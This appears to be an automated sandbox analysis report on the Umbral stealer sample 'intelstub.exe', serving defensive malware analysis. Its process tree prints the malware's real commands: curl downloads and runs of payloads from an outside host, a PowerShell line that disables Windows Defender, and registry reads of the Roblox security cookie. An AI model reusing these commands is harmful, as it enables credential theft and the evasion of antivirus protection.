umbral | 9bf776f889b56b90ef2cbe8cd971c68290f79374b7a7dcfa100e71a1cd45bd03

Resubmissions

08-12-2024 02:44

241208-c76qvsykax 10

08-12-2024 02:42

241208-c7bwgstldm 10

08-12-2024 02:40

241208-c6dcxstlal 10

08-12-2024 02:37

241208-c4lxaaxrcv 10

Analysis

max time kernel
61s
max time network
63s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
08-12-2024 02:40

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

intelstub.exe
Size

45KB
MD5

46dad3f34a1ff25b259446bac02cca4a
SHA1

08be9e8701d40bb0d968106793480eeb25adeb26
SHA256

9bf776f889b56b90ef2cbe8cd971c68290f79374b7a7dcfa100e71a1cd45bd03
SHA512

67338468551bc926a88b8e40f40177dea339debd701ad463f9e2cb763cf82f755743f3ee82c3626aa326c820afb93020d0d9526fc38affcb9b3af92725b393f6
SSDEEP

768:R4yvRGAc8gygFxLgkzLQgzcOybPofSzVxsBKfwJlVE3iPmbL52:9c8Oxz8YcO+A6zV4Kfd7

Score

10^/10

umbral defense_evasion execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x00290000000450bf-13.dat	family_umbral
behavioral1/memory/100-15-0x000002281FC30000-0x000002281FC70000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
832	powershell.exe
3228	powershell.exe
4380	powershell.exe
4500	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
100	IntelSoftwareAssetManagerService.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ipinfo.io
22	ipinfo.io
23	ip-api.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\IME\zvcjd0.pfx	curl.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2680	wmic.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
2356	wmic.exe
2356	wmic.exe
2356	wmic.exe
2356	wmic.exe
100	IntelSoftwareAssetManagerService.exe
4140	wmic.exe
4140	wmic.exe
4140	wmic.exe
4140	wmic.exe
100	IntelSoftwareAssetManagerService.exe
832	powershell.exe
832	powershell.exe
3228	powershell.exe
3228	powershell.exe
4380	powershell.exe
4380	powershell.exe
1344	powershell.exe
1344	powershell.exe
2828	wmic.exe
2828	wmic.exe
2828	wmic.exe
2828	wmic.exe
2320	wmic.exe
2320	wmic.exe
2320	wmic.exe
2320	wmic.exe
2092	wmic.exe
2092	wmic.exe
2092	wmic.exe
2092	wmic.exe
4500	powershell.exe
4500	powershell.exe
2680	wmic.exe
2680	wmic.exe
2680	wmic.exe
2680	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2356	wmic.exe
Token: SeSecurityPrivilege	2356	wmic.exe
Token: SeTakeOwnershipPrivilege	2356	wmic.exe
Token: SeLoadDriverPrivilege	2356	wmic.exe
Token: SeSystemProfilePrivilege	2356	wmic.exe
Token: SeSystemtimePrivilege	2356	wmic.exe
Token: SeProfSingleProcessPrivilege	2356	wmic.exe
Token: SeIncBasePriorityPrivilege	2356	wmic.exe
Token: SeCreatePagefilePrivilege	2356	wmic.exe
Token: SeBackupPrivilege	2356	wmic.exe
Token: SeRestorePrivilege	2356	wmic.exe
Token: SeShutdownPrivilege	2356	wmic.exe
Token: SeDebugPrivilege	2356	wmic.exe
Token: SeSystemEnvironmentPrivilege	2356	wmic.exe
Token: SeRemoteShutdownPrivilege	2356	wmic.exe
Token: SeUndockPrivilege	2356	wmic.exe
Token: SeManageVolumePrivilege	2356	wmic.exe
Token: 33	2356	wmic.exe
Token: 34	2356	wmic.exe
Token: 35	2356	wmic.exe
Token: 36	2356	wmic.exe
Token: SeIncreaseQuotaPrivilege	2356	wmic.exe
Token: SeSecurityPrivilege	2356	wmic.exe
Token: SeTakeOwnershipPrivilege	2356	wmic.exe
Token: SeLoadDriverPrivilege	2356	wmic.exe
Token: SeSystemProfilePrivilege	2356	wmic.exe
Token: SeSystemtimePrivilege	2356	wmic.exe
Token: SeProfSingleProcessPrivilege	2356	wmic.exe
Token: SeIncBasePriorityPrivilege	2356	wmic.exe
Token: SeCreatePagefilePrivilege	2356	wmic.exe
Token: SeBackupPrivilege	2356	wmic.exe
Token: SeRestorePrivilege	2356	wmic.exe
Token: SeShutdownPrivilege	2356	wmic.exe
Token: SeDebugPrivilege	2356	wmic.exe
Token: SeSystemEnvironmentPrivilege	2356	wmic.exe
Token: SeRemoteShutdownPrivilege	2356	wmic.exe
Token: SeUndockPrivilege	2356	wmic.exe
Token: SeManageVolumePrivilege	2356	wmic.exe
Token: 33	2356	wmic.exe
Token: 34	2356	wmic.exe
Token: 35	2356	wmic.exe
Token: 36	2356	wmic.exe
Token: SeDebugPrivilege	100	IntelSoftwareAssetManagerService.exe
Token: SeIncreaseQuotaPrivilege	4140	wmic.exe
Token: SeSecurityPrivilege	4140	wmic.exe
Token: SeTakeOwnershipPrivilege	4140	wmic.exe
Token: SeLoadDriverPrivilege	4140	wmic.exe
Token: SeSystemProfilePrivilege	4140	wmic.exe
Token: SeSystemtimePrivilege	4140	wmic.exe
Token: SeProfSingleProcessPrivilege	4140	wmic.exe
Token: SeIncBasePriorityPrivilege	4140	wmic.exe
Token: SeCreatePagefilePrivilege	4140	wmic.exe
Token: SeBackupPrivilege	4140	wmic.exe
Token: SeRestorePrivilege	4140	wmic.exe
Token: SeShutdownPrivilege	4140	wmic.exe
Token: SeDebugPrivilege	4140	wmic.exe
Token: SeSystemEnvironmentPrivilege	4140	wmic.exe
Token: SeRemoteShutdownPrivilege	4140	wmic.exe
Token: SeUndockPrivilege	4140	wmic.exe
Token: SeManageVolumePrivilege	4140	wmic.exe
Token: 33	4140	wmic.exe
Token: 34	4140	wmic.exe
Token: 35	4140	wmic.exe
Token: 36	4140	wmic.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 476 wrote to memory of 2388	476	intelstub.exe	81
PID 476 wrote to memory of 2388	476	intelstub.exe	81
PID 2388 wrote to memory of 3704	2388	cmd.exe	82
PID 2388 wrote to memory of 3704	2388	cmd.exe	82
PID 476 wrote to memory of 4968	476	intelstub.exe	83
PID 476 wrote to memory of 4968	476	intelstub.exe	83
PID 4968 wrote to memory of 4164	4968	cmd.exe	84
PID 4968 wrote to memory of 4164	4968	cmd.exe	84
PID 476 wrote to memory of 3468	476	intelstub.exe	85
PID 476 wrote to memory of 3468	476	intelstub.exe	85
PID 476 wrote to memory of 1788	476	intelstub.exe	86
PID 476 wrote to memory of 1788	476	intelstub.exe	86
PID 1788 wrote to memory of 228	1788	cmd.exe	87
PID 1788 wrote to memory of 228	1788	cmd.exe	87
PID 476 wrote to memory of 2328	476	intelstub.exe	88
PID 476 wrote to memory of 2328	476	intelstub.exe	88
PID 2328 wrote to memory of 100	2328	cmd.exe	89
PID 2328 wrote to memory of 100	2328	cmd.exe	89
PID 100 wrote to memory of 2356	100	IntelSoftwareAssetManagerService.exe	90
PID 100 wrote to memory of 2356	100	IntelSoftwareAssetManagerService.exe	90
PID 100 wrote to memory of 4140	100	IntelSoftwareAssetManagerService.exe	95
PID 100 wrote to memory of 4140	100	IntelSoftwareAssetManagerService.exe	95
PID 100 wrote to memory of 832	100	IntelSoftwareAssetManagerService.exe	97
PID 100 wrote to memory of 832	100	IntelSoftwareAssetManagerService.exe	97
PID 100 wrote to memory of 3228	100	IntelSoftwareAssetManagerService.exe	101
PID 100 wrote to memory of 3228	100	IntelSoftwareAssetManagerService.exe	101
PID 100 wrote to memory of 4380	100	IntelSoftwareAssetManagerService.exe	103
PID 100 wrote to memory of 4380	100	IntelSoftwareAssetManagerService.exe	103
PID 100 wrote to memory of 1344	100	IntelSoftwareAssetManagerService.exe	105
PID 100 wrote to memory of 1344	100	IntelSoftwareAssetManagerService.exe	105
PID 100 wrote to memory of 2828	100	IntelSoftwareAssetManagerService.exe	107
PID 100 wrote to memory of 2828	100	IntelSoftwareAssetManagerService.exe	107
PID 100 wrote to memory of 2320	100	IntelSoftwareAssetManagerService.exe	109
PID 100 wrote to memory of 2320	100	IntelSoftwareAssetManagerService.exe	109
PID 100 wrote to memory of 2092	100	IntelSoftwareAssetManagerService.exe	111
PID 100 wrote to memory of 2092	100	IntelSoftwareAssetManagerService.exe	111
PID 100 wrote to memory of 4500	100	IntelSoftwareAssetManagerService.exe	113
PID 100 wrote to memory of 4500	100	IntelSoftwareAssetManagerService.exe	113
PID 100 wrote to memory of 2680	100	IntelSoftwareAssetManagerService.exe	116
PID 100 wrote to memory of 2680	100	IntelSoftwareAssetManagerService.exe	116

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	4	curl/8.7.1
HTTP User-Agent header	17	curl/8.7.1

C:\Users\Admin\AppData\Local\Temp\intelstub.exe
"C:\Users\Admin\AppData\Local\Temp\intelstub.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.z60ic9762h.click/zvcjd0.pfx -o C:\Windows\IME\zvcjd0.pfx --silent
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\system32\curl.exe
    curl https://cdn.z60ic9762h.click/zvcjd0.pfx -o C:\Windows\IME\zvcjd0.pfx --silent
    3⤵
    - Drops file in Windows directory
    PID:3704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -importpfx -p your_password C:\Windows\IME\zvcjd0.pfx NoExport
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Windows\system32\certutil.exe
    certutil -importpfx -p your_password C:\Windows\IME\zvcjd0.pfx NoExport
    3⤵
    PID:4164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /F /Q C:\Windows\IME\zvcjd0.pfx
  2⤵
  PID:3468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://cdn.z60ic9762h.click/abc.bin -o C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe --silent
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\system32\curl.exe
    curl https://cdn.z60ic9762h.click/abc.bin -o C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe --silent
    3⤵
    PID:228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
    C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:100
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2356
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1344
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2828
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2320
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4500
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
193ac0692b1c11b72698e64328605cb6

SHA1
862309634eb76cc236638a32b6411dc114d8f3c1

SHA256
dcb192355039c92f99ba44886e4e991b8f996af81b3ad154ea2b7603f93ed1d0

SHA512
df32ce2220e950f8fabc7f313255baec0bea3a4cd5f16b038ecd361e71f582739716707f2d51cc0e01ae8a3960d426f3d4ed3c08f94eae2ce3b87bcfbc7912a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
862e4e85164c5e59feef404dbfd5aa60

SHA1
dced1ebb827f35f0f1bfd1b96ba24374393353b7

SHA256
bf93d4e58968da369ead6058b1f811246415c4f55cfa74b2fa950e6adcb24d88

SHA512
dab6c3b6bff7a2248637a7a20c2a564e45f6278fcd2610bdb807df3d232b3851409e6007a90ea5e3d50da3e6ba46af8a2a3864133457a20b69fb567f5d6eef41

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8e1fdd1b66d2fee9f6a052524d4ddca5

SHA1
0a9d0994559d1be2eecd8b0d6960540ca627bdb6

SHA256
4cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13

SHA512
5a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
092342afeeaa935bd53f93354d7dc9bd

SHA1
644881575abf5e4e0f291e3dc6d882f30b1380c6

SHA256
eba4a21dd48f30f505d787231df82a58b7e840ad5c610eea99280710f87e76f1

SHA512
dfac71939dbc094e9a3b7dca0c714fe4a0662fb133a44349c85da016256c7a2222f621aa04cd67a1942cb087cda46f3fb98c943e883d34d3c1db286d6ef1cadc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tvgn2eil.i1m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Documents\IntelSoftwareAssetManagerService.exe

Filesize
238KB

MD5
66574582c2e810055676407bdd671636

SHA1
71a07c0906e65524d6844aa0a65e90ee682eb6c5

SHA256
5a05e0c1a7b22baaaa9268ef6f0d9a5524826fdc3871a59c5134f7354baa9346

SHA512
04c5dc624009d1127319f0f32c137a4bab6b1aec10e3fd5fdad4372c8a09b8f894980834d6d0d5ee3920ccb3aa3d3e84fe6e1010b6b6dabdb6c20e2f047b5341

Download Submit
C:\Windows\IME\zvcjd0.pfx

Filesize
2KB

MD5
044c6ed5926cda780ca3506829585245

SHA1
b958068c7f440fffd712e9a0704f5234537b22d4

SHA256
21115f915d5e38fb38be88a627010d39cb7e4b0008854530e3a8fa117f45cfea

SHA512
4d00d57e4f0e12c01d5455cf81f685b04b9446aa026b8579009a271dab5eacc298530625e995ff910a9cc6442392fd2098d517b86b7ad0f713f689324e5f0601

Download Submit
memory/100-40-0x000002283B420000-0x000002283B496000-memory.dmp

Filesize
472KB

Download
memory/100-41-0x00000228218E0000-0x0000022821930000-memory.dmp

Filesize
320KB

Download
memory/100-42-0x00000228218B0000-0x00000228218CE000-memory.dmp

Filesize
120KB

Download
memory/100-15-0x000002281FC30000-0x000002281FC70000-memory.dmp

Filesize
256KB

Download
memory/100-67-0x0000022821940000-0x000002282194A000-memory.dmp

Filesize
40KB

Download
memory/100-68-0x000002283B4C0000-0x000002283B4D2000-memory.dmp

Filesize
72KB

Download
memory/832-25-0x00000211D0500000-0x00000211D0522000-memory.dmp

Filesize
136KB

Download